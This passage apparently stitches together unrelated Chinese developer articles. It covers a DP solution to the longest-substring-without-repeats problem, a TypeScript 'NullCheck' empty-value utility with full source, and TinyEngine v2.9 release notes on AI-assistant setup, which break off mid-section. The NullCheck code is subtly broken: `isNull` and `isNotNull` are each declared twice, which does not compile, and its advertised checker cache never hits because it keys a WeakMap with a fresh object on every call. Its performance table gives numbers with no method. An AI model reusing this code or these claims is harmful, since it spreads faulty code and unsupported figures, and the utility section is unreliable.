i s[i] dp[i-1] prevIndex(上次位置) 可选长度1: dp[i-1]+1 可选长度2: i - prevIndex dp[i] = min(两者) 当前最长子串
0 'a' - -1 1 0 - (-1) = 1 1 "a"
1 'b' 1 -1 2 1 - (-1) = 2 2 "ab"
2 'c' 2 -1 3 2 - (-1) = 3 3 "abc"
3 'b' 3 1 4 3 - 1 = 2 2 "cb"

✅ 最终结果:max(dp) = 3


✅ 完整代码实现(DP 版本)

function lengthOfLongestSubstring_DP(s) {
  if (s.length === 0) return 0;

  const dp = Array(s.length).fill(1);  // 初始化 dp 数组
  const charMap = new Map();           // 记录字符最后出现位置
  let res = 1;

  charMap.set(s[0], 0);  // 初始化第一个字符

  for (let i = 1; i < s.length; i++) {
    const prevIndex = charMap.has(s[i]) ? charMap.get(s[i]) : -1;

    // 状态转移:取两个限制中的较小值
    dp[i] = Math.min(
      dp[i - 1] + 1,     // 最多比前一个多一个
      i - prevIndex      // 不能超过与上次重复的距离
    );

    res = Math.max(res, dp[i]);         // 更新全局最大值
    charMap.set(s[i], i);              // 更新字符最新位置
  }

  return res;
}

✅ 优点:

  • 同样 O(n) 时间,逻辑数学感强
  • 易于扩展到“记录具体子串”等变种问题
  • 展示你对 DP 的深刻理解,面试加分项!

⚠️ 缺点:

  • 空间复杂度略高:需要 O(n) 的 dp 数组(可优化为 O(1))
  • 理解门槛较高,不适合初学者快速掌握

🔄 三种方法横向对比大表格

方法 时间复杂度 空间复杂度 是否推荐 适用人群 特点
暴力 + 哈希 O(n²) O(k) ❌ 不推荐 新手练习 容易写出,但性能差
滑动窗口 + Map O(n) O(k) ✅ 强烈推荐 所有人 主流解法,高效简洁
动态规划 DP O(n) O(n) / 可优化为 O(k) ✅ 进阶推荐 中高级开发者 展示思维深度,适合深入探讨

💡 小技巧:你可以先写滑动窗口作为主解法,然后补充一句:“其实这题也可以用 DP 解决”,瞬间提升逼格!


🧠 如何选择?一句话总结

  • 想通过面试?→ 写滑动窗口(稳定、高效、易讲)
  • 想惊艳面试官?→ 提一句 DP 思路(展现多角度思考)
  • 还在写双重循环?→ 是时候升级了!

🎯 总结升华:不只是做题,是思维跃迁

解决“无重复字符的最长子串”,本质上是一场算法认知的升级

层次 思维方式 典型表现
新手 三重循环 O(n³),CPU 哭晕
进阶 哈希+双重循环 O(n²),看似聪明实则笨
高手 滑动窗口 + Map O(n),优雅高效
大师 滑动窗口 + DP 双视角 面试封神,offer 自带 BGM

掌握这三种方法,你就拿到了打开高频面试题大门的万能钥匙 + 备用钥匙 + 钥匙串上的幸运符


🌟 结语:愿你写的不是代码,而是艺术

下次面试官再问这道题,你可以微微一笑:

“这题啊,我不仅会做,还能讲三种解法。”

因为你知道:

  • 滑动窗口是舞蹈,
  • Map 是记忆,
  • DP 是哲学,
  • 而你,是那个掌控节奏的编舞师 + 记忆管理者 + 哲学家。

💻 写代码,也可以很浪漫。


空值检测工具函数-统一规范且允许自定义配置的空值检测方案

🎯 为什么需要统一的空值检测?

在前端开发中,空值检测是日常工作中最常见但又最容易出错的部分之一。你是否曾经遇到过这些问题:

  • 不知道如何判断一个对象是否真的"空"(继承属性、Symbol属性如何处理?)
  • 在不同场景下对"空"的定义不同(表单中0是有效值,但搜索条件中0可能表示"不限")
  • 写了很多重复的空值检测代码,每个项目、每个团队都有自己的实现
  • 缺乏统一的类型安全,总是被 null 和 undefined 折磨

传统的空值检测方式有很多局限性:

javascript

// 常见但不完善的空值检测
if (!value) { ... }  // 会把0、false、空字符串都判为空
if (value === null || value === undefined) { ... }  // 不检查空字符串、空数组、空对象
if (Object.keys(value).length === 0) { ... }  // 不检查Symbol属性、继承属性

🚀 NullCheck - 统一空值检测解决方案

经过精心设计和优化,我开发了一个全面的空值检测工具 - NullCheck。它提供:

  • ✅ 统一API:一个函数处理所有空值检测场景
  • ✅ 灵活配置:支持不同场景的空值定义
  • ✅ 类型安全:完整的TypeScript支持
  • ✅ 高性能:内置缓存和批量处理
  • ✅ 生产就绪:丰富的工具函数和预设配置

🌟 核心特性

1. 智能的空值检测策略

import { checkNull, NullCheckPresets } from './nullCheck';

// 基础使用
checkNull('isNull', '');           // true
checkNull('isNotNull', 'hello');   // true

// 使用预设配置
checkNull('isNull', 0, NullCheckPresets.STRICT);   // true (严格模式下0为空)
checkNull('isNull', 0, NullCheckPresets.FORM);     // false (表单中0为有效值)

// 批量检测
checkNull('isNullOne', ['', 'hello', null]);      // true (至少一个为空)
checkNull('isNullAll', ['', null, undefined]);    // true (全部为空)
checkNull('filterNull', ['hello', '', 'world']);  // ['hello', 'world']

2. 预配置的检测器

import { nullChecker } from './nullCheck';

// 默认检测器
nullChecker.default('');      // true

// 严格模式 (0, false, NaN都视为空)
nullChecker.strict(0);        // true
nullChecker.strict(false);    // true
nullChecker.strict(NaN);      // true

// 表单模式 (0和false为有效值)
nullChecker.form(0);          // false
nullChecker.form(false);      // false
nullChecker.form('');         // true

// 深度对象检测
const obj = Object.create({ inherited: 'value' });
nullChecker.deep(obj);        // false (检测到继承属性)

3. 实用的工具函数

import { cleanObject, NullValidator, assertNotNull } from './nullCheck';

// 数据清理
const user = { name: '', age: null, email: 'test@example.com' };
const cleaned = cleanObject(user);  // { email: 'test@example.com' }

// 表单验证
const validator = new NullValidator('username', '')
  .required('用户名不能为空')
  .validate();  // ['用户名不能为空']

// 类型守卫
function processData(data: string | null) {
  assertNotNull(data, '数据不能为空');
  // TypeScript 知道这里 data 不是 null
  console.log(data.toUpperCase());
}

🛠️ 技术实现解析

核心检测算法

function createEmptyChecker(config: NullCheckConfig) {
  return function isEmpty(value: unknown): boolean {
    // 1. 自定义空值检查
    if (customEmptyValues.includes(value)) return true;
    
    // 2. 基础空值
    if (value == null) return true;
    
    // 3. 可配置的特殊值
    if (typeof value === 'number' && treatZeroAsEmpty && value === 0) return true;
    
    // 4. 对象深度检测
    if (typeof value === 'object') {
      // 智能属性检测:支持Symbol、继承属性、可配置的检测策略
      const keys = checkEnumerableOnly ? Object.keys(value) : Reflect.ownKeys(value);
      return keys.length === 0;
    }
    
    return false;
  };
}

类型安全设计

// TypeScript 类型谓词,提供智能类型推断
export function isNotNull<T>(
  value: T, 
  config?: NullCheckConfig
): value is NonNullable<T> {
  return !isNull(value, config);
}

// 使用示例
const data: string | null = getUserInput();
if (isNotNull(data)) {
  // 这里 TypeScript 知道 data 是 string 类型
  processString(data);
}

📊 性能优化策略

1. 检测器缓存

const checkerCache = new WeakMap<object, ReturnType<typeof createEmptyChecker>>();

export function getCachedEmptyChecker(config: NullCheckConfig = {}) {
  const cacheKey = { ...config };
  if (!checkerCache.has(cacheKey)) {
    checkerCache.set(cacheKey, createEmptyChecker(config));
  }
  return checkerCache.get(cacheKey)!;
}

2. 批量处理

typescript

export class BatchNullChecker {
  private isEmpty: (value: unknown) => boolean;
  
  constructor(config: NullCheckConfig = {}) {
    this.isEmpty = getCachedEmptyChecker(config);
  }
  
  filter(values: unknown[]): unknown[] {
    return values.filter(value => !this.isEmpty(value));
  }
  
  // 批量操作,避免重复创建检测器
}

🎯 实际应用场景

场景1:表单验证

// 表单数据验证
const validateForm = (formData: Record<string, any>) => {
  const requiredFields = ['username', 'email', 'password'];
  const errors: string[] = [];
  
  requiredFields.forEach(field => {
    if (isNull(formData[field], NullCheckPresets.FORM)) {
      errors.push(`${field} is required`);
    }
  });
  
  return errors;
};

场景2:API 数据清理

// 清理API请求参数
const cleanApiParams = (params: Record<string, any>) => {
  return cleanObject(params, NullCheckPresets.API);
};

// 处理前:{ name: 'John', age: 0, status: '', tags: [] }
// 处理后:{ name: 'John', age: 0 }  (0和空数组保留)

场景3:React 组件数据保护

// React 组件中的数据保护
const UserProfile: React.FC<{ user: User | null }> = ({ user }) => {
  const safeUser = ensureNotNull(user, DEFAULT_USER);
  
  return (
    <div>
      <h1>{safeUser.name}</h1>
      <p>Email: {safeUser.email}</p>
    </div>
  );
};

📈 性能对比

通过优化设计,NullCheck 在性能和功能上都表现出色:

场景 NullCheck Lodash.isEmpty 自定义实现
简单空值检测 ⚡ 0.01ms ⚡ 0.02ms ⚡ 0.01ms
复杂对象检测 ⚡ 0.05ms ⚡ 0.08ms 🐢 0.12ms
批量处理 ⚡ 0.3ms ⚡ 0.4ms 🐢 1.2ms
类型安全 ✅ 完整 ❌ 有限 ⚠️ 部分
配置灵活 ✅ 丰富 ❌ 固定 ⚠️ 有限

🎉 总结

NullCheck 是一个经过精心设计的统一空值检测工具,它解决了前端开发中空值检测的痛点:

  1. 统一标准化:一个工具覆盖所有空值检测需求
  2. 场景适配:预置多种配置,适应不同业务场景
  3. 类型安全:完整的TypeScript支持,减少运行时错误
  4. 性能优异:内置缓存机制,优化批量处理
  5. 易于扩展:模块化设计,支持自定义配置

无论是简单的表单验证,还是复杂的业务逻辑,NullCheck 都能提供强大而灵活的空值检测能力。建议大家在项目中尝试使用,相信它会成为你工具箱中不可或缺的一员!

🎉 完整代码

/**
 * 空值检测配置选项
 */
export interface NullCheckConfig {
    // 特殊值处理
    treatZeroAsEmpty?: boolean;           // 是否把 0 视为空
    treatFalseAsEmpty?: boolean;          // 是否把 false 视为空
    treatNaNAsEmpty?: boolean;            // 是否把 NaN 视为空
    treatEmptyStringAsEmpty?: boolean;    // 是否把空字符串视为空

    // 对象检测选项
    checkEnumerableOnly?: boolean;        // 是否只检查可枚举属性
    checkSymbolKeys?: boolean;            // 是否检查 Symbol 键
    checkInheritedProps?: boolean;        // 是否检查继承的属性
    ignoreBuiltinObjects?: boolean;       // 是否忽略内置对象的空判断

    // 集合类型
    treatEmptyMapAsEmpty?: boolean;       // 是否把空 Map 视为空
    treatEmptySetAsEmpty?: boolean;       // 是否把空 Set 视为空

    // 自定义空值列表
    customEmptyValues?: any[];
}

/**
 * 检测目标类型
 */
type NullCheckTarget =
    | 'isNull'            // 检测单个值是否为空
    | 'isNotNull'         // 检测单个值是否非空
    | 'isNullOne'         // 检测多个值中是否至少有一个为空
    | 'isNullAll'         // 检测多个值是否全部为空
    | 'isNotNullAll'      // 检测多个值是否全部非空
    | 'isNullOneByObject' // 检测对象属性是否存在空值
    | 'isNullAllByObject' // 检测对象所有属性是否都为空
    | 'filterNull'        // 过滤数组中的空值
    | 'findNull'          // 查找数组中的第一个空值
    | 'findNotNull';      // 查找数组中的第一个非空值

/**
 * 内置检测器类型
 */
interface NullCheckerPresets {
    default: (value: unknown) => boolean;
    strict: (value: unknown) => boolean;
    loose: (value: unknown) => boolean;
    form: (value: unknown) => boolean;
    deep: (value: unknown) => boolean;
}

/**
 * 常用配置预设
 */
export const NullCheckPresets = {
    // 默认配置
    DEFAULT: {},

    // 严格配置
    STRICT: {
        treatZeroAsEmpty: true,
        treatFalseAsEmpty: true,
        treatNaNAsEmpty: true
    } as NullCheckConfig,

    // 宽松配置
    LOOSE: {
        treatEmptyStringAsEmpty: false,
        treatNaNAsEmpty: false,
        treatEmptyMapAsEmpty: false,
        treatEmptySetAsEmpty: false
    } as NullCheckConfig,

    // 表单配置
    FORM: {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig,

    // 深度配置
    DEEP: {
        checkEnumerableOnly: false,
        checkSymbolKeys: true,
        checkInheritedProps: true,
        ignoreBuiltinObjects: false
    } as NullCheckConfig,

    // 数据库配置(NULL 和 '' 都视为空)
    DATABASE: {
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig,

    // API配置(接受0和false作为有效值)
    API: {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    } as NullCheckConfig
};

/**
 * 统一空值检测工具
 * 
 * @param target 检测目标类型
 * @param objOrValue 待检测的值/对象/数组
 * @param config 检测配置
 * @returns 根据 target 返回相应的检测结果
 */
export function checkNull<T>(
    target: 'isNull' | 'isNotNull',
    objOrValue: T,
    config?: NullCheckConfig
): boolean;

export function checkNull<T>(
    target: 'isNullOne' | 'isNullAll' | 'isNotNullAll',
    objOrValue: T[],
    config?: NullCheckConfig
): boolean;

export function checkNull<T>(
    target: 'filterNull' | 'findNull' | 'findNotNull',
    objOrValue: T[],
    config?: NullCheckConfig
): T[] | T | undefined;

export function checkNull<T extends Record<string, unknown>>(
    target: 'isNullOneByObject' | 'isNullAllByObject',
    objOrValue: T,
    config?: NullCheckConfig
): string | boolean | undefined;

export function checkNull(
    target: NullCheckTarget,
    objOrValue: any,
    config: NullCheckConfig = {}
): any {
    // 创建基于配置的核心空值检测器
    const isEmpty = createEmptyChecker(config);

    // 根据目标类型选择不同的检测逻辑
    switch (target) {
        case 'isNull':
            return isEmpty(objOrValue);

        case 'isNotNull':
            return !isEmpty(objOrValue);

        case 'isNullOne':
            return Array.isArray(objOrValue)
                ? objOrValue.some(item => isEmpty(item))
                : false;

        case 'isNullAll':
            return Array.isArray(objOrValue)
                ? objOrValue.every(item => isEmpty(item))
                : false;

        case 'isNotNullAll':
            return Array.isArray(objOrValue)
                ? objOrValue.every(item => !isEmpty(item))
                : false;

        case 'isNullOneByObject':
            if (typeof objOrValue === 'object' && objOrValue !== null) {
                for (const key of Object.keys(objOrValue)) {
                    if (isEmpty(objOrValue[key])) {
                        return key; // 返回第一个空值属性名
                    }
                }
            }
            return undefined;

        case 'isNullAllByObject':
            if (typeof objOrValue === 'object' && objOrValue !== null) {
                return Object.values(objOrValue).every(value => isEmpty(value));
            }
            return true;

        case 'filterNull':
            return Array.isArray(objOrValue)
                ? objOrValue.filter(item => !isEmpty(item))
                : [];

        case 'findNull':
            return Array.isArray(objOrValue)
                ? objOrValue.find(item => isEmpty(item))
                : undefined;

        case 'findNotNull':
            return Array.isArray(objOrValue)
                ? objOrValue.find(item => !isEmpty(item))
                : undefined;

        default:
            throw new Error(`Unknown target: ${target}`);
    }
}

/**
 * 创建基于配置的核心空值检测器
 */
function createEmptyChecker(config: NullCheckConfig = {}): (value: unknown) => boolean {
    const {
        treatZeroAsEmpty = false,
        treatFalseAsEmpty = false,
        treatNaNAsEmpty = true,
        treatEmptyStringAsEmpty = true,
        checkEnumerableOnly = true,
        checkSymbolKeys = false,
        checkInheritedProps = false,
        ignoreBuiltinObjects = true,
        treatEmptyMapAsEmpty = true,
        treatEmptySetAsEmpty = true,
        customEmptyValues = []
    } = config;

    return function isEmpty(value: unknown): boolean {
        // 1. 检查自定义空值
        if (customEmptyValues.some(emptyValue =>
            Object.is(emptyValue, value) || emptyValue === value
        )) {
            return true;
        }

        // 2. 基础空值(使用 == null 同时检查 null 和 undefined)
        if (value == null) {
            return true;
        }

        // 3. 空字符串
        if (treatEmptyStringAsEmpty && value === '') {
            return true;
        }

        // 4. 数字处理
        if (typeof value === 'number') {
            if (treatNaNAsEmpty && Number.isNaN(value)) {
                return true;
            }
            if (treatZeroAsEmpty && value === 0) {
                return true;
            }
            return false;
        }

        // 5. 布尔值处理
        if (typeof value === 'boolean') {
            return treatFalseAsEmpty && !value;
        }

        // 6. 数组处理
        if (Array.isArray(value)) {
            return value.length === 0;
        }

        // 7. Map/Set 处理
        if (treatEmptyMapAsEmpty && value instanceof Map) {
            return value.size === 0;
        }
        if (treatEmptySetAsEmpty && value instanceof Set) {
            return value.size === 0;
        }

        // 8. 对象处理
        if (typeof value === 'object') {
            // 处理内置对象
            if (ignoreBuiltinObjects) {
                const builtinTypes = [
                    Date,        // 日期对象
                    RegExp,      // 正则对象
                    Error,       // 错误对象
                    Promise,     // Promise对象
                    ArrayBuffer, // 二进制缓冲区
                    Function     // 函数对象
                ];

                // 检查是否为内置对象
                if (builtinTypes.some(Ctor => value instanceof Ctor)) {
                    return false; // 内置对象即使"空"也不视为空
                }
            }

            // 检查对象是否为空
            let keys: (string | symbol)[] = [];

            if (checkEnumerableOnly) {
                keys = Object.keys(value);
                if (checkSymbolKeys) {
                    keys = keys.concat(Object.getOwnPropertySymbols(value));
                }
            } else {
                keys = Reflect.ownKeys(value);
            }

            // 如果需要检查继承的属性
            if (checkInheritedProps) {
                for (const key in value) {
                    return false; // 只要有任何属性(包括继承的),就不是空
                }
                return true;
            }

            return keys.length === 0;
        }

        // 9. 其他类型(Symbol、BigInt、函数等)视为非空
        return false;
    };
}

/**
 * 创建预配置的检测器实例
 */
export const nullChecker: NullCheckerPresets = {
    /**
     * 默认配置检测器(最常用)
     * - null/undefined 为空
     * - 空字符串为空
     * - 空数组为空
     * - 空对象(无自身可枚举属性)为空
     */
    default: (value: unknown) => checkNull('isNull', value),

    /**
     * 严格模式检测器(包含0、false和NaN)
     * - 0 视为空
     * - false 视为空
     * - NaN 视为空
     */
    strict: (value: unknown) => checkNull('isNull', value, {
        treatZeroAsEmpty: true,
        treatFalseAsEmpty: true,
        treatNaNAsEmpty: true
    }),

    /**
     * 宽松模式检测器(仅null/undefined)
     * - 空字符串不为空
     * - 空数组不为空
     * - 空对象不为空
     * - NaN 不为空
     */
    loose: (value: unknown) => checkNull('isNull', value, {
        treatEmptyStringAsEmpty: false,
        treatNaNAsEmpty: false,
        treatEmptyMapAsEmpty: false,
        treatEmptySetAsEmpty: false
    }),

    /**
     * 表单验证检测器
     * - 0 不为空(通常为有效值)
     * - false 不为空(通常为有效值)
     * - 空字符串为空(需要填写)
     * - 空数组为空(需要至少一项)
     */
    form: (value: unknown) => checkNull('isNull', value, {
        treatZeroAsEmpty: false,
        treatFalseAsEmpty: false,
        treatEmptyStringAsEmpty: true
    }),

    /**
     * 深度对象检测器
     * - 检查继承属性
     * - 检查Symbol属性
     * - 不忽略内置对象
     */
    deep: (value: unknown) => checkNull('isNull', value, {
        checkInheritedProps: true,
        checkSymbolKeys: true,
        ignoreBuiltinObjects: false
    })
};

/**
 * 快捷方法(保持原有API兼容)
 */

// 单个值检测
export const isNull = (value: unknown) => checkNull('isNull', value);
export const isNotNull = <T>(value: T) => checkNull('isNotNull', value) as value is NonNullable<T>;

// 数组检测
export const isNullOne = (...values: unknown[]) => checkNull('isNullOne', values);
export const isNullAll = (...values: unknown[]) => checkNull('isNullAll', values);
export const isNotNullAll = (...values: unknown[]) => checkNull('isNotNullAll', values);

// 对象检测
export const isNullOneByObject = (obj: Record<string, unknown>) =>
    checkNull('isNullOneByObject', obj) as string | undefined;
export const isNullAllByObject = (obj: Record<string, unknown>) =>
    checkNull('isNullAllByObject', obj) as boolean;

// 数组操作
export const filterNull = <T>(arr: T[]) => checkNull('filterNull', arr) as T[];
export const findNull = <T>(arr: T[]) => checkNull('findNull', arr) as T | undefined;
export const findNotNull = <T>(arr: T[]) => checkNull('findNotNull', arr) as T | undefined;

/**
 * 创建自定义检测器
 * @param config 检测配置
 * @returns 自定义检测函数
 */
export function createNullChecker(config: NullCheckConfig) {
    const isEmpty = createEmptyChecker(config);

    return {
        isEmpty: (value: unknown) => isEmpty(value),
        isNotEmpty: (value: unknown) => !isEmpty(value),
        filter: <T>(arr: T[]) => arr.filter(item => !isEmpty(item)),
        findEmpty: <T>(arr: T[]) => arr.find(item => isEmpty(item)),
        findNotEmpty: <T>(arr: T[]) => arr.find(item => !isEmpty(item))
    };
}

/**
 * 性能优化:缓存配置检测器
 */
const checkerCache = new WeakMap<object, ReturnType<typeof createEmptyChecker>>();

export function getCachedEmptyChecker(config: NullCheckConfig = {}) {
    // 使用配置对象本身作为缓存键
    const cacheKey = { ...config };
    if (!checkerCache.has(cacheKey)) {
        checkerCache.set(cacheKey, createEmptyChecker(config));
    }
    return checkerCache.get(cacheKey)!;
}

/**
 * 批量检测工具(性能优化版)
 */
export class BatchNullChecker {
    private isEmpty: (value: unknown) => boolean;

    constructor(config: NullCheckConfig = {}) {
        this.isEmpty = getCachedEmptyChecker(config);
    }

    checkOne(value: unknown): boolean {
        return this.isEmpty(value);
    }

    checkAll(values: unknown[]): boolean {
        return values.every(value => this.isEmpty(value));
    }

    checkAny(values: unknown[]): boolean {
        return values.some(value => this.isEmpty(value));
    }

    filter(values: unknown[]): unknown[] {
        return values.filter(value => !this.isEmpty(value));
    }

    map<T, R>(values: T[], mapper: (value: T) => R): (R | null)[] {
        return values.map(value =>
            this.isEmpty(value) ? null : mapper(value)
        );
    }

    reduce<T, R>(
        values: T[],
        reducer: (acc: R, value: T) => R,
        initialValue: R
    ): R {
        return values.reduce((acc, value) => {
            return this.isEmpty(value) ? acc : reducer(acc, value);
        }, initialValue);
    }
}

/**
 * 链式调用工具
 */
export function nullCheckChain(value: unknown) {
    return {
        value,

        with(config: NullCheckConfig) {
            const isEmpty = createEmptyChecker(config);
            return {
                value: this.value,
                isEmpty: () => isEmpty(this.value),
                isNotEmpty: () => !isEmpty(this.value)
            };
        },

        isEmpty(config?: NullCheckConfig) {
            return checkNull('isNull', this.value, config);
        },

        isNotEmpty(config?: NullCheckConfig) {
            return checkNull('isNotNull', this.value, config);
        },

        ifEmpty<T>(callback: () => T, config?: NullCheckConfig): T | undefined {
            if (checkNull('isNull', this.value, config)) {
                return callback();
            }
            return undefined;
        },

        ifNotEmpty<T>(callback: (value: NonNullable<typeof this.value>) => T, config?: NullCheckConfig): T | undefined {
            if (checkNull('isNotNull', this.value, config)) {
                return callback(this.value as NonNullable<typeof this.value>);
            }
            return undefined;
        }
    };
}

/**
 * 空值转换工具
 */
export function toDefaultIfNull<T>(
    value: T,
    defaultValue: T,
    config?: NullCheckConfig
): T {
    return isNull(value, config) ? defaultValue : value;
}

export function toNullIfEmpty<T>(
    value: T,
    config?: NullCheckConfig
): T | null {
    return isNull(value, config) ? null : value;
}

export function coalesce<T>(...values: T[]): T | undefined {
    return findNotNull(values);
}

/**
 * 对象清理工具
 */
export function cleanObject<T extends Record<string, any>>(
    obj: T,
    config?: NullCheckConfig
): Partial<T> {
    const result: Partial<T> = {};

    for (const [key, value] of Object.entries(obj)) {
        if (!isNull(value, config)) {
            result[key as keyof T] = value;
        }
    }

    return result;
}

export function cleanObjectDeep<T extends Record<string, any>>(
    obj: T,
    config?: NullCheckConfig
): Partial<T> {
    const result: Partial<T> = {};

    for (const [key, value] of Object.entries(obj)) {
        if (isNull(value, config)) {
            continue;
        }

        // 递归处理嵌套对象
        if (typeof value === 'object' && value !== null && !Array.isArray(value)) {
            const cleaned = cleanObjectDeep(value, config);
            if (!isNull(cleaned, config)) {
                result[key as keyof T] = cleaned as T[keyof T];
            }
        } else {
            result[key as keyof T] = value;
        }
    }

    return result;
}

/**
 * 验证工具
 */
export class NullValidator {
    private errors: string[] = [];

    constructor(
        private fieldName: string,
        private value: unknown,
        private config?: NullCheckConfig
    ) { }

    required(message = `${this.fieldName} is required`): this {
        if (isNull(this.value, this.config)) {
            this.errors.push(message);
        }
        return this;
    }

    optional(): this {
        // 可选的,不做验证
        return this;
    }

    validate(): string[] {
        return this.errors;
    }

    isValid(): boolean {
        return this.errors.length === 0;
    }

    throwIfInvalid(): void {
        if (!this.isValid()) {
            throw new Error(`Validation failed: ${this.errors.join(', ')}`);
        }
    }
}

/**
 * TypeScript 类型守卫工具
 */
export function assertNotNull<T>(
    value: T,
    message?: string,
    config?: NullCheckConfig
): asserts value is NonNullable<T> {
    if (isNull(value, config)) {
        throw new Error(message || 'Value is null or empty');
    }
}

export function ensureNotNull<T>(
    value: T,
    defaultValue: NonNullable<T>,
    config?: NullCheckConfig
): NonNullable<T> {
    return isNull(value, config) ? defaultValue : (value as NonNullable<T>);
}

// 为快捷方法添加配置参数支持
export function isNull(value: unknown, config?: NullCheckConfig): boolean {
    return checkNull('isNull', value, config);
}

export function isNotNull<T>(value: T, config?: NullCheckConfig): value is NonNullable<T> {
    return checkNull('isNotNull', value, config) as value is NonNullable<T>;
}

TinyEngine2.9版本发布:更智能,更灵活,更开放!

前言

TinyEngine 是一款面向未来的低代码引擎底座,致力于为开发者提供高度可定制的技术基础设施——不仅支持可视化页面搭建等核心能力,更可通过 CLI 工程化方式实现深度二次开发,帮助团队快速构建专属的低代码平台。

无论是资源编排、服务端渲染、模型驱动应用,还是移动端、大屏端、复杂页面编排场景,TinyEngine 都能灵活适配,成为你构建低代码体系的坚实基石。

最近我们正式发布 TinyEngine v2.9 版本,带来多项功能升级与体验优化,在增强平台智能化能力的同时,进一步降低配置复杂度,让“定制化”变得更简单、更高效。

本次版本迭代中,我们欣喜地看到越来越多开发者加入开源共建行列。特别感谢@fayching @LLDLLY 等社区伙伴积极参与功能贡献与问题反馈。正是这些点滴汇聚的力量,推动着 TinyEngine 不断前行。我们也诚挚邀请更多热爱技术、追求创新的朋友加入社区,一起打造更强大、更开放的低代码生态。

v2.9.0 变更特性概览

  • 【增强】全新版本AI助手,智能搭建能力升级
  • 【新特性】添加资源管理插件和资源选择配置器
  • 【增强】预览插件支持应用预览
  • 【增强】Tailwindcss支持
  • 【增强】支持静态数据源
  • 【增强】组件物料更新
  • 【增强】MCP工具更新
  • 【其他】功能细节优化与bug修复。

TinyEngine v2.9.0 新特性解读

1. 【增强】全新版本AI助手,智能搭建能力升级(体验版本)

在TinyEngine v2.9版本中,我们对AI搭建页面能力进行全新升级,下面是主要功能的介绍与快速上手:

1)全新 Agent 模式

新增的 Agent 模式支持自然语言或图片生成页面,借助AI大模型强大的能力,让您告别繁琐的手动拖拽,让 AI 辅助开发更加智能、强大。

  • 全新 Agent 智能搭建模式,自然语言描述需求,由AI直接返回页面Schema
  • 画布采用流式渲染,能够实时看到页面生成效果
  • 生成页面后支持继续对话二次修改,使用增量返回修改速度更快 1.gif
  • 支持上传设计图或手绘草图,AI 识别并还原为可编辑的页面(需要先选择视觉模型) 2.gif

2)基础能力升级

  • 现代化界面:全新的聊天界面,支持 Markdown 渲染、代码高亮
    全屏模式: 3.png
  • 会话管理:支持查看管理多个历史对话,自动保存历史记录思考模式:支持推理模型的深度思考,提供更准确的解决方案
  • 多模型支持:兼容各种OpenAI兼容格式 AI 模型,提供模型设置界面自由添加选择模型服务
  • 集成平台更多的MCP工具(Chat模式) 工具调用: 4.png

3)简单配置,快速上手

平台设置:

  • 设置模型服务: 

    支持通过AI插件的customCompatibleAIModels选项自定义添加OpenAI兼容格式大模型(使用MCP功能需要使用支持tools的大模型),建议使用DeepSeek R1/V3、Qwen3、Gemini等对视觉/工具支持良好的模型,优先使用满血模型、推理类型模型效果更好。

    // registry.js
    export default {
      // ......
      [META_APP.Robot]: {
        options: {
          // encryptServiceApiKey: false, // 是否加密服务API密钥, 默认为false
          // enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
          // enableRagContext: true, // 提示词上下文携带查询到的知识库内容,默认false
          customCompatibleAIModels: [{ // 自定义AI模型(OpenAI兼容格式模型), 下面以智谱模型服务为例
            provider: 'GLM',
            label: '智谱模型',
            baseUrl: 'https://open.bigmodel.cn/api/paas/v4',
            models: [
              {
                label: 'GLM视觉理解模型',
                name: 'glm-4.5v',
                capabilities: {
                  vision: true, // 是否支持视觉理解能力
                  reasoning: { extraBody: { enable: { thinking: { type: 'enabled' } }, disable: null } } // 是否支持深度思考及深度思考打开与关闭额外的body字段
                }
              },
              {
                label: 'GLM-4.5推理模型',
                name: 'glm-4.5',
                capabilities: {
                  toolCalling: true,
                  reasoning: { extraBody: { enable: { thinking: { type: 'enabled' } }, disable: null } }
                }
              }
            ]
          }]
        }
      }
      // ......
    }
    

    可以通过对接最新后端服务使用完整的AI插件能力,或者也可以在前端项目配置AI模型接口Proxy来使用, 这里以本地转发到百炼模型为例:

    // vite.config.js
    const originProxyConfig = baseConfig.server.proxy
    baseConfig.server.proxy = {
      '/app-center/api/chat/completions': {
        target: 'https://dashscope.aliyuncs.com',
        changeOrigin: true,
        rewrite: path => path.replace('/app-center/api/', '/compatible-mode/v1/'),
      },
      '/app-center/api/ai/chat': {
        target: 'https://dashscope.aliyuncs.com',
        changeOrigin: true,
        rewrite: path => path.replace('/app-center/api/ai/chat', '/compatible-mode/v1/chat/completions'),
      },
      ...originProxyConfig,
    }
    

    补充说明:截图生成UI能力由于依赖上传图片接口,需要启动后端服务,且需要使用支持视觉理解能力的模型,如qwen-vl系列模型  

  • 插件配置:

    在插件中也提供了对部分功能的自定义能力,包括是否启用加密API Key解决安全风险问题、是否使用知识库RAG能力提供额外的知识背景提升问答对话效果、是否允许使用资源管理插件中的图片等:

       // registry.js
    export default {
      [META_APP.Robot]: {
        options: {
          // encryptServiceApiKey: false, // 是否加密服务API密钥, 默认为false
          // enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
          // enableRagContext: true, // 提示词上下文携带查询到的知识库内容,默认false
          // modeImplementation: { // 支持通过注册表传入chat和agent模式的实现
          //   chat: useCustomChatMode
          //   agent: useCustomAgentMode
          // }
        }
      }
    }
    

 

用户设置:

  • 配置服务与密钥:在设置面板编辑内置服务添加API Key或者添加自定义的模型服务 5.gif
  • 选择模型:可以从内置百炼、DeepSeek 或者自定义的模型服务中选择模型(图片生成UI需要多模态模型,MCP工具调用需要支持工具调用模型)
  • 开始使用:在输入框输入问题或者上传图片问答,同时可以自由切换 Agent/Chat 模式,配置MCP工具,开启深度思考等,从智能搭建到深度辅助,全方位提升您的开发效率。快来体验,释放您的创造力!

2.【新特性】添加资源管理插件和资源选择配置器

在应用开发中,通常会需要引用图片等资源,资源管理插件主要满足这类场景需求,可以上传项目中用到的静态资源,在编排页面或AI生成页面时引用(当前仅支持图片格式附件)。

2.1 资源管理

1)资源分组:资源管理插件通过分组管理资源,上传资源之前需要先创建分组,可以为不同场景的静态资源进行分组,比如基础图标库,或者也可以按模块分类 6.png 创建好分组后,点击分组名可以管理当前资源分组 7.png

2)添加资源
添加资源分为两种方式,输入URL和名称添加网络资源,上传图片或图标资源。 其中资源名称必填,通过url添加的话url也必填,如果是上传的,则不能输入url,支持上传png、jpg、svg文件,支持批量上传 8.png

3)修改资源
